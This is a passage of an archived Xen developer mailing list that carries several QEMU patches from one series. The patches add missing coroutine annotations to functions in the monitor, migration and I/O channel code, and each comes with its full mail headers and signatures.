 5bmAD/0etydKiTihIbMRuX/QQ9wrH5bzVGnC+3T31ACvjR4qTcz/43bEIlxz5UP6OLL+J8FdHoY
 /COMIj4ImeEQTd8X6VM6tIgL0lP0Ix3JBRw585jIfUcBtcbe9WBYp8GuBQ/J70zcai5YSbBjqHM
 YcJDYDb0fupMLYz7uMfjEYEt+LMRExfvUZowMek7pLggUHuObZ6PBcMo2KiLk/9BkxYXmfh1Py0
 1VL9qz9VJyrx/9mKA6AMfZAlO7X6w8Uhb4OvPQdS9yaheMGMMNof3XXs/7rMEJp8yu5hw2yGwKV
 tUsWdgRxcW9oikYq1xs8FJGEQuxJcWevVMUKgtOMxvcog53d3aqqDPPxbODdQqaoJh77uUWtx1D
 yj4W1GWLrjNuNMWfW52mst+gwenpI7ERZPzJyjqyKIGq64C1D8hoRUe9SZBfMDvW88CYeoJy6Ox
 AwaNB5CM37R71NilBZZJ8H5kI/MUtOfRopA2tI1rzxTYPuk+2s8SRyajUOzEobyjYVzzJah7xnl
 Fj5LczdvoJoLDlx1Sg4jKKJgUd40UBCFw2k1dmKZAIeGgMP9qHpQl+7Nzu4E4QnzYqRcDNMlZ4Y
 mFu0qczXin1ELgN8KEVORoq5zbeou4KrGwVpb6sgnQGCa2zrR7zGbbLdFpOc3+fxpACvCzuNLVv
 yY86AryIhC9/2WA==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.111
X-Mimecast-MFC-PROC-ID: ulj6yl0V0PcCTbqT3BKn18j8H1XQpvB3J9nrasX1ehc_1784972928
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1784972935-599C1CFC-B50C7060/0/0
X-purgate-type: clean
X-purgate-size: 861

The function calls qemu_coroutine_yield(), and is called from
monitor_qmp_dispatcher_co().

Fixes: 60f4f62efeb ("monitor: extract request dequeuing to a new function")
Reviewed-by: Philippe Mathieu-DaudÃ© <philmd@oss.qualcomm.com>
Reviewed-by: Markus Armbruster <armbru@redhat.com>
Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 monitor/qmp.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/monitor/qmp.c b/monitor/qmp.c
index 223e0643c2ad..338d37cb7e5a 100644
--- a/monitor/qmp.c
+++ b/monitor/qmp.c
@@ -342,7 +342,8 @@ static QMPRequest *monitor_qmp_requests_pop_any_with_lock(void)
     return req_obj;
 }
 
-static QMPRequest *monitor_qmp_dispatcher_pop_any(void)
+static QMPRequest * coroutine_fn
+monitor_qmp_dispatcher_pop_any(void)
 {
     while (true) {
         /*

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 25 09:49:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 09:49:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370558.1618649 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0B-0003tk-6K; Sat, 25 Jul 2026 09:49:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370558.1618649; Sat, 25 Jul 2026 09:49:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0B-0003td-1n; Sat, 25 Jul 2026 09:49:03 +0000
Received: by outflank-mailman (input) for mailman id 1370558;
 Sat, 25 Jul 2026 09:49:01 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wnZ09-0003sY-S9
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 09:49:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnZ09-003Tyx-7s
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 11:49:01 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a648665-bab6-0a2a0a5309dd-0a2a4505c29e-38
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:00 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a64868b-4cb1-0a2a45050019-aa0a817ce553-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:00 +0200
Received: from mx-prod-mc-03.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-659-kqW6JzhCMSGvGk6dV2OZ9Q-1; Sat,
 25 Jul 2026 05:48:55 -0400
Received: from mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.95])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-03.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 57AE31944D07; Sat, 25 Jul 2026 09:48:53 +0000 (UTC)
Received: from localhost (unknown [10.44.22.7])
 by mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id EC46B414; Sat, 25 Jul 2026 09:48:51 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784972939;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=o/K+1AUXVnWWVKlHiV4xOB2JHy4bJFnMoNAwKxtUWMM=;
	b=chmbcuKavWhVMwayB/STkMyWSNG9B/NRCDgyClqK13MIEr2ORg2Vf9Ucw7G3qaaCv9u21E
	u5DKq5Z0j5nznDqTE1Jkj3FWgjaVRNxY+giietIZ3kCN/QIEVIXOebJ5qKiSeRav0PTtWD
	5uuJNCL86E2iwetB53ZG9xTx0wpFKKc=
X-MC-Unique: kqW6JzhCMSGvGk6dV2OZ9Q-1
X-Mimecast-MFC-AGG-ID: kqW6JzhCMSGvGk6dV2OZ9Q_1784972934
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Sat, 25 Jul 2026 13:48:33 +0400
Subject: [PATCH v2 2/8] migration: fix qemu_get_counted_string annotation
MIME-Version: 1.0
Message-Id: <20260725-co-v2-2-d3552ddb3931@redhat.com>
References: <20260725-co-v2-0-d3552ddb3931@redhat.com>
In-Reply-To: <20260725-co-v2-0-d3552ddb3931@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>, 
 =?utf-8?q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=908;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=30QVK4Yftj1iMTz1RR+q67DvyJxcMY1WCMPrbYrInjc=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqZIZzO1HZBtKMLGFKp3fYeR5gHjF+rjEkFyuzI
 0CxABrBaD2JAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCamSGcwAKCRDa6OEJdZac
 5buBD/99haUzF1FiNgKLiFuyz6+SuHqBPF3MGW6my12xjC7Af9mOxeD9wqgASB6p8LNAqsfw3Rf
 8sJJdoEZP+Cv0/ykaAmcDhUJYjmRBCYhjsI0bkf6vgAPkQUl0LJZDuDLKYn/9i4Tpv+nEZ1F04f
 aVEEEdI68AMq7Hznot0B9b9LCG0tzzJrO2Y0OlXl49BqVhTGJ3fb/OSV2e5r1LMPCVJLK6vEJKf
 SyAZNyuB5XCSCIYfgFOcu7h4K6yRH75p++quoBFHKqHhIwEn3V1wBuVorxEGOQBEv9dgdVt2ZeI
 mjKwctY3vLgVWEzowRy1cdxFKeKs+u2t9v3tM8ZcpgTOqIcYxPFt/ecfCgpaQwCSdOYG5RNEoeR
 IydKsGfkRthqCPdjBjIc65krISlvtbM0PqljjyPgsELy0YGxPMICjJTzbovK53zMt69Swx3pGBK
 CoEeriygam9HZnbKjwC6KEVYteJUdDxzVgqR9XLiIPptHVCrlaLBVr8VVY9Wl+jgzpyV29b5sTx
 0Ognto50yvAnke/1swfgvGt0dpELPO6ot5n7j76wu9ChnaojU4w19Vw7rAENuBpDxuBkWqNNdWP
 Whc6clSymH5W8Or2yeUJIoTkN8fzfPh95eYWo6c0y8KFzuQrm1ArZtB07s2K7zqnedCRJn082RD
 fjk5NV58LBo2agA==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.6 on 10.30.177.95
X-Mimecast-MFC-PROC-ID: _CxpeqU77fgEpA5yZTkwu1TmUMQmUJcVWmOF8AYkAVw_1784972934
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1784972940-F4CA02A1-F07167EA/0/0
X-purgate-type: clean
X-purgate-size: 910

Fixes: 394b9407e4c ("migration: mark mixed functions that can suspend")
Reviewed-by: Peter Xu <peterx@redhat.com>
Reviewed-by: Philippe Mathieu-DaudÃ© <philmd@oss.qualcomm.com>
Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 migration/qemu-file.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/migration/qemu-file.c b/migration/qemu-file.c
index d5a48115bd63..f30e13c66d77 100644
--- a/migration/qemu-file.c
+++ b/migration/qemu-file.c
@@ -830,7 +830,7 @@ uint64_t qemu_get_be64(QEMUFile *f)
  *          else 0
  *          (Note a 0 length string will return 0 either way)
  */
-size_t coroutine_fn qemu_get_counted_string(QEMUFile *f, char buf[256])
+size_t coroutine_mixed_fn qemu_get_counted_string(QEMUFile *f, char buf[256])
 {
     size_t len = qemu_get_byte(f);
     size_t res = qemu_get_buffer(f, (uint8_t *)buf, len);

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 25 09:49:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 09:49:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370559.1618657 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0G-0004Cy-Dp; Sat, 25 Jul 2026 09:49:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370559.1618657; Sat, 25 Jul 2026 09:49:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0G-0004Cn-AB; Sat, 25 Jul 2026 09:49:08 +0000
Received: by outflank-mailman (input) for mailman id 1370559;
 Sat, 25 Jul 2026 09:49:06 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wnZ0E-00049n-QP
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 09:49:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnZ0E-003Tyx-7N
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 11:49:06 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a648692-bab6-0a2a0a5309dd-0a2a4509bc64-0
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:06 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a648691-be1a-0a2a45090019-aa0a817c6be9-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:06 +0200
Received: from mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-35-165-154-97.us-west-2.compute.amazonaws.com [35.165.154.97]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-433-8qtqlocdObSmloqw3eCJ0w-1; Sat,
 25 Jul 2026 05:49:01 -0400
Received: from mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.95])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 9624B1800C35; Sat, 25 Jul 2026 09:48:58 +0000 (UTC)
Received: from localhost (unknown [10.44.22.7])
 by mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id 0837E15AD; Sat, 25 Jul 2026 09:48:56 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784972944;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=om5CIye3i6lrnEkPPfiq+UulgaM6eC6H/1XHPK2zRuA=;
	b=Kitw1uPwupgTTphcYwpi53xO6uRP74/xirhLgZ//Xv22tJ1Wkrxta2PzxIZxTC1nfzFFYc
	dguKspLgH5+mEPHKPArkj/lKfm/5pT9nd8XwSF4ayzcBwVPHTkHfwtiJmQVUGOXg6Tig/0
	V/aLLp0rxwXnHMCPYSMplUVpparv0J4=
X-MC-Unique: 8qtqlocdObSmloqw3eCJ0w-1
X-Mimecast-MFC-AGG-ID: 8qtqlocdObSmloqw3eCJ0w_1784972939
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Sat, 25 Jul 2026 13:48:34 +0400
Subject: [PATCH v2 3/8] io: add missing coroutine annotation
MIME-Version: 1.0
Message-Id: <20260725-co-v2-3-d3552ddb3931@redhat.com>
References: <20260725-co-v2-0-d3552ddb3931@redhat.com>
In-Reply-To: <20260725-co-v2-0-d3552ddb3931@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>, 
 =?utf-8?q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=1443;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=hhK3avKdImCgAXvIB7NvRmE1p7D0COK7cwqKnWNle/g=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqZIZzeDY3v/u02EPWgKg8h2Y9qqMbxC8tbSZol
 9UFxg2JA6uJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCamSGcwAKCRDa6OEJdZac
 5W9FEACkxbRuybsgqPhJFHRnyhXpFxZMy1BAcH9DcOHSozjWSSJYfgx5mkUyJlAbcOTwlJaKt/P
 goJB5UinVDym73+x4ZLqQcaLfe4+Qsz9X58MyAVlc/xRwKrK/oQTONTXjBHZ0L8dlKVohTUwwlY
 NjyeKe/UZ0T/hXnLniERWlQujHe7UrBUqRTaq5166SsYU5fpF8hQ+IexJHTDEuGEPBtp1BkccU0
 Kk660LTATwk4GWKKxgie5DK6ZdmfThGclqIWhrqawLAAmAR0jvDt/ZhK3c5H+hvsOTwWoY2BbuY
 X4k2NyX/ePC45gBMuY+PaqQxflVaj27p9fjhNKMTdkVIPMv2DENrL8A/oyubDt/ovY+Dc9OT5z0
 9BwLOQITCf4RjXQ+Ipz1C18tx6WbS3rF0zepzqzi2brZbgGXgyAl+ZqEvYwqf34MryBUNxn+GDf
 z6onnYQYYWoksNmYaxC3UlO64Ix0jkZ6kNhn4C2S4cv4JRnBIG+isbEM7yuww31MgtzmP1rrAgV
 A3FUUZ4MqLqMvCRKxnz0UTdduLlZD1ugwQj2XNeS9Q+i4L579CFAE3mSocap6EvglQlxo8Aty6x
 kSmtLTyMbTMCYazOXfesBncXAAj7sXDGZSmMUs4xKEjI0dz6frEKpFUwqwjj2DKMpqVHxf8XW0K
 qlcmZvYuZkm9liQ==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.6 on 10.30.177.95
X-Mimecast-MFC-PROC-ID: 3tBt06-nx9i38aVNJ61JvYfK8iRA9yN8tGUiRWthhPo_1784972939
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1784972946-BE6DA034-89A8ABFD/0/0
X-purgate-type: clean
X-purgate-size: 1445

Fixes: 1edf0df28409 ("io: Add qio_channel_wait_cond() helper")
Reviewed-by: Philippe Mathieu-DaudÃ© <philmd@oss.qualcomm.com>
Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 include/io/channel.h | 4 ++--
 io/channel.c         | 5 +++--
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/include/io/channel.h b/include/io/channel.h
index 98485c9280a6..c90ace20d535 100644
--- a/include/io/channel.h
+++ b/include/io/channel.h
@@ -1016,8 +1016,8 @@ void qio_channel_wait(QIOChannel *ioc,
  * This will work with/without a coroutine context, by automatically select
  * the proper API to wait.
  */
-void qio_channel_wait_cond(QIOChannel *ioc,
-                           GIOCondition condition);
+void coroutine_mixed_fn qio_channel_wait_cond(QIOChannel *ioc,
+                        GIOCondition condition);
 
 /**
  * qio_channel_set_aio_fd_handler:
diff --git a/io/channel.c b/io/channel.c
index 2853dadb684e..620256f310db 100644
--- a/io/channel.c
+++ b/io/channel.c
@@ -905,8 +905,9 @@ void qio_channel_wait(QIOChannel *ioc,
     g_main_context_unref(ctxt);
 }
 
-void qio_channel_wait_cond(QIOChannel *ioc,
-                           GIOCondition condition)
+void coroutine_mixed_fn
+qio_channel_wait_cond(QIOChannel *ioc,
+                      GIOCondition condition)
 {
     if (qemu_in_coroutine()) {
         qio_channel_yield(ioc, condition);

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 25 09:49:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 09:49:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370562.1618666 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0N-0004dC-L2; Sat, 25 Jul 2026 09:49:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370562.1618666; Sat, 25 Jul 2026 09:49:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0N-0004d3-I7; Sat, 25 Jul 2026 09:49:15 +0000
Received: by outflank-mailman (input) for mailman id 1370562;
 Sat, 25 Jul 2026 09:49:13 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wnZ0L-0004WJ-IQ
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 09:49:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnZ0K-00CSAW-Vd
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 11:49:12 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a648657-2eae-0a2a0a5409dd-0a2a4504d2a2-32
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:12 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a648697-b57f-0a2a45040019-aa0a857c863f-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:12 +0200
Received: from mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-258-KQRq2d8_MVSDC6JQEZgt4Q-1; Sat,
 25 Jul 2026 05:49:07 -0400
Received: from mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.4])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 809991955DB5; Sat, 25 Jul 2026 09:49:05 +0000 (UTC)
Received: from localhost (unknown [10.44.22.7])
 by mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id 81503300019F; Sat, 25 Jul 2026 09:49:02 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784972951;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=HBzav5r/PRxvX7B889078bhSww2+z17xh67+UFrqARc=;
	b=CcLzqTLxu9vudrkG8Ak+iwVsWSJXDuQTfjXx6wSqq/nBT9d2JXUHttNKc5S2vxaMDwLVmP
	RJMZPfAp6g+NJieLefCz4jFQhzpbeem3zlo39EPWyp4ZxITmC2DQknkrra7lFFsrPrS972
	iKPOap/D7zV6hOVz253fhzdliOr0m7s=
X-MC-Unique: KQRq2d8_MVSDC6JQEZgt4Q-1
X-Mimecast-MFC-AGG-ID: KQRq2d8_MVSDC6JQEZgt4Q_1784972946
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Sat, 25 Jul 2026 13:48:35 +0400
Subject: [PATCH v2 4/8] block: add missing coroutine annotation
MIME-Version: 1.0
Message-Id: <20260725-co-v2-4-d3552ddb3931@redhat.com>
References: <20260725-co-v2-0-d3552ddb3931@redhat.com>
In-Reply-To: <20260725-co-v2-0-d3552ddb3931@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
